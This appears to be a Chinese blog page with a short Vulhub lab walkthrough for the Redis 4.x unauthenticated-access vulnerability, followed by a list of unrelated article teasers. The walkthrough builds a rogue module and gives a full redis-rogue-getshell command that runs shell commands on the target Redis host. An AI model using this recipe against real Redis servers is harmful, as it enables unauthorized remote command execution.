vulhub redis-4-unacc
环境搭建
cd vulhub/redis/4-unacc
docker-compose up -d
漏洞复现
检测
redis-cli -h ip
使用redis工具
工具地址：https://github.com/vulhub/redis-rogue-getshell
下载完成后，先进入RedisModulesSDK/exp/ 目录进行make操作
获得exp.so后可以进行命令执行
cd回redis-rogue-getshell-master/路径
命令执行
whoami
python3 redis-master.py -r 192.168.41.130 -p 6379 -L 192.168.41.130 -P 8888 -f RedisModulesSDK/exp/exp.so -c "whoami"
uname -a
相关文章：
vulhub redis-4-unacc
环境搭建 cd vulhub/redis/4-unacc docker-compose up -d 漏洞复现 检测 redis-cli -h ip 使用redis工具 工具地址：https://github.com/vulhub/redis-rogue-getshell 下载完成后，先进入RedisModulesSDK/exp/ 目录进行make操作 获得exp.so后可以进行…...
风火编程--playwright爬虫
playwright爬虫基本用法 等待加载 page.wait_for_load_state(‘networkidle’) text page.content() 点击 demo with sync_playwright() as pw:browser pw.chromium.launch(headlessTrue)context browser.new_context()page context.new_page()page.goto(url)page.wait…...
CSS的选择器(一篇文章齐全)
目录 Day26：CSS的选择器 1、CSS的引入方式 2、CSS的选择器 2.1 基本选择器编辑 2.2 组合选择器 2.3 属性选择器 2.4 伪类选择器 2.5 样式继承 2.6 选择器优先级 3、CSS的属性操作 3.1 文本属性 3.2 背景属性 3.3 边框属性 3.4 列表属性 3.5 dispal…...
手把手从零开始训练YOLOv8改进项目(官方ultralytics版本)教程
手把手从零开始训练 YOLOv8 改进项目 (Ultralytics版本) 教程，改进 YOLOv8 算法 本文以Windows服务器为例：从零开始使用Windows训练 YOLOv8 算法项目 《芒果 YOLOv8 目标检测算法 改进》 适用于芒果专栏改进 YOLOv8 算法 文章目录 官方 YOLOv8 算法介绍改进网络代码汇总第…...
AI 游戏工具收集
一、2D绘图 二、3D生成 Luma AI 3D模型生成Blockade Labs 天空盒生成 三、音乐音效 Waveformer 音乐音效生成 四、代码 Phind 代码生成...
Android描边外框stroke边线、rotate旋转、circle圆形图的简洁通用方案，基于Glide与ShapeableImageView，Kotlin
Android描边外框stroke边线、rotate旋转、circle圆形图的简洁通用方案，基于Glide与ShapeableImageView，Kotlin 利用ShapeableImageView专门处理圆形和外框边线的特性，通过Glide加载图片装载到ShapeableImageView。注意，因为要描边…...
virtualbox7 虚拟机与宿主机互传文件、共享u盘
互传文件有两种方式，一种是创建共享目录，一种是直接通过“控制”-》文件管理器。 1,创建共享目录，主要分两步： a,设置共享目录。点击虚拟机菜单“设备”-》共享文件夹弹出设置窗口。然后设置要共享的目录点击确定。 b,安装增强…...
浅谈多回路电表在荷兰光伏系统配电项目中的应用
1.背景信息 Background： 随着全球化石能源（石油，煤炭）越来越接近枯竭，污染日趋严重，气候日益变暖等问题，全球多个国家和地区相继出台了法规政策，推动了光伏产业的发展。但是现有的光…...
VBA之Word应用：文档（Document）的书签
《VBA之Word应用》（版权10178982），是我推出第八套教程，教程是专门讲解VBA在Word中的应用，围绕“面向对象编程”讲解，首先让大家认识Word中VBA的对象，以及对象的属性、方法，然后通过实…...
四旋翼无人机的飞行原理--【其利天下分享】
近年来，无人机在多领域的便捷应用促使其迅猛的发展，如近年来的多场战争，无人机的战场运用发挥得淋漓尽致。 下面我们针对生活中常见的四旋翼无人机的飞行原理做个基础的介绍，以飨各位对无人机有兴趣的朋友。 一：四旋翼…...
webpack的安全保障是怎么做的？
文章目录 前言Webpack 内容安全策略后言 前言 hello world欢迎来到前端的新世界 😜当前文章系列专栏：webpack 🐱👓博主在前端领域还有很多知识和技术需要掌握，正在不断努力填补技术短板。(如果出现错误，感…...
Python3.10的一些新特性与使用场景
Python 3.10的新特性不仅增强了语言的功能性，也提供了更丰富的工具，让开发者能更高效、更准确地编写代码。接下来将通过一些实际的使用场景和方法来探索这些新特性。 1. “精确类型”参数化内置集合 Python 3.10引入了更精确的方式来指定内置集合的类型…...
VS2022 配置 OpenCV并开始第一个程序
VS2022安装 首先下载 VisualStudioSetup.exe 下载连接：Visual Studio 2022 IDE - 适用于软件开发人员的编程工具 点击上面的链接即可进入到下载页面。进入到下载页面，可看到有几个版本可选，如下： 我选择的是企业版：E…...
图像处理01 小波变换
一.为什么需要离散小波变换 连续小波分解，通过改变分析窗口大小，在时域上移动窗口和基信号相乘，最后在全时域上整合。通过离散化连续小波分解可以得到伪离散小波分解， 这种离散化带有大量冗余信息且计算成本较高。 小波变换的公…...
构建自定义ChatGPT，微软推出Copilot Studio
11月16日，微软在美国西雅图举办“Microsoft Ignite 2023”全球开发者大会。本次人工智能成为重要主题，微软几乎把所有产品都集成了生成式AI功能并发布了一系列全新产品。 其中，微软重磅推出了Copilot Studio（预览版）&…...
什么是Mock？为什么要使用Mock呢？
1、前言 在日常开发过程中，大家经常都会遇到：新需求来了，但是需要跟第三方接口来对接，第三方服务还没好，我们自己的功能设计如何继续呢？这里，给大家推荐一下Mock方案。 2、场景示例 2.1、场景一…...
elementui表格自定义指令控制显示哪些列可以拖动
Vue.directive(tableBorder, function (el, {value}) {// value允许传字符串数字和数组el.classList.add(z_table_hasBorder)let hasStyle el.querySelector(style)if(hasStyle){hasStyle.remove()}let style document.createElement(style)let str .z_table_hasBorder .el…...
Motion Plan之搜素算法笔记
背景： 16-18年做过一阵子无人驾驶，那时候痴迷于移动规划；然而当时可学习的资料非常少，网上的论文也不算太多。基本就是Darpa的几十篇无人越野几次比赛的文章，基本没有成系统的文章和代码讲解实现。所以对移动规划的认…...
新中新身份证阅读器驱动下载sdk DKQ-A16D
读取操作 int nRet;string sMsg "";IDCardData idcardData new IDCardData();byte[] ctmp new byte[255];ReadCardAPI.Syn_SetPhotoPath(1, ref ctmp);setupDataFormate(1);nRet ReadCardAPI.Syn_OpenPort(Main_Form.m_iPort);if (nRet 0){DateTime startTime …...
世界坐标系，相机坐标系，像素坐标系转换 详细说明（附代码）
几个坐标系介绍，相机内外参的回顾参考此文。 本文主要说明如何在几个坐标系之间转换。 本文涉及： 使用相机内参 在 像素坐标系 和 相机坐标系 之间转换。使用相机外参（位姿）在相机坐标系 和 世界坐标系 之间转换。(qw,qx,qy,qz,…...
在软件开发中正确使用MySQL日期时间类型的深度解析
在日常软件开发场景中，时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志，到供应链系统的物流节点时间戳，时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库，其日期时间类型的…...
基于大模型的 UI 自动化系统
基于大模型的 UI 自动化系统 下面是一个完整的 Python 系统，利用大模型实现智能 UI 自动化，结合计算机视觉和自然语言处理技术，实现"看屏操作"的能力。 系统架构设计 #mermaid-svg-2gn2GRvh5WCP2ktF {font-family:"trebuchet ms",verdana,arial,sans-…...
golang循环变量捕获问题
在 Go 语言中，当在循环中启动协程（goroutine）时，如果在协程闭包中直接引用循环变量，可能会遇到一个常见的陷阱 - 循环变量捕获问题。让我详细解释一下： 问题背景 看这个代码片段： fo…...
盘古信息PCB行业解决方案：以全域场景重构，激活智造新未来
一、破局：PCB行业的时代之问 在数字经济蓬勃发展的浪潮中，PCB（印制电路板）作为 “电子产品之母”，其重要性愈发凸显。随着 5G、人工智能等新兴技术的加速渗透，PCB行业面临着前所未有的挑战与机遇。产品迭代…...
django filter 统计数量 按属性去重
在Django中，如果你想要根据某个属性对查询集进行去重并统计数量，你可以使用values()方法配合annotate()方法来实现。这里有两种常见的方法来完成这个需求： 方法1：使用annotate()和Count 假设你有一个模型Item，并且你想…...
Qwen3-Embedding-0.6B深度解析：多语言语义检索的轻量级利器
第一章 引言：语义表示的新时代挑战与Qwen3的破局之路 1.1 文本嵌入的核心价值与技术演进 在人工智能领域，文本嵌入技术如同连接自然语言与机器理解的“神经突触”——它将人类语言转化为计算机可计算的语义向量，支撑着搜索引擎、推荐系统、…...
TRS收益互换：跨境资本流动的金融创新工具与系统化解决方案
一、TRS收益互换的本质与业务逻辑 （一）概念解析 TRS（Total Return Swap）收益互换是一种金融衍生工具，指交易双方约定在未来一定期限内，基于特定资产或指数的表现进行现金流交换的协议。其核心特征包括&am…...
工业自动化时代的精准装配革新：迁移科技3D视觉系统如何重塑机器人定位装配
AI3D视觉的工业赋能者 迁移科技成立于2017年，作为行业领先的3D工业相机及视觉系统供应商，累计完成数亿元融资。其核心技术覆盖硬件设计、算法优化及软件集成，通过稳定、易用、高回报的AI3D视觉系统，为汽车、新能源、金属制造等行…...
零基础在实践中学习网络安全-皮卡丘靶场（第九期-Unsafe Fileupload模块）（yakit方式）
本期内容并不是很难，相信大家会学的很愉快，当然对于有后端基础的朋友来说，本期内容更加容易了解，当然没有基础的也别担心，本期内容会详细解释有关内容 本期用到的软件：yakit（因为经过之前好多期…...
并发编程 - go版
1.并发编程基础概念 进程和线程 A. 进程是程序在操作系统中的一次执行过程，系统进行资源分配和调度的一个独立单位。B. 线程是进程的一个执行实体,是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位。C.一个进程可以创建和撤销多个线程;同一个进程中…...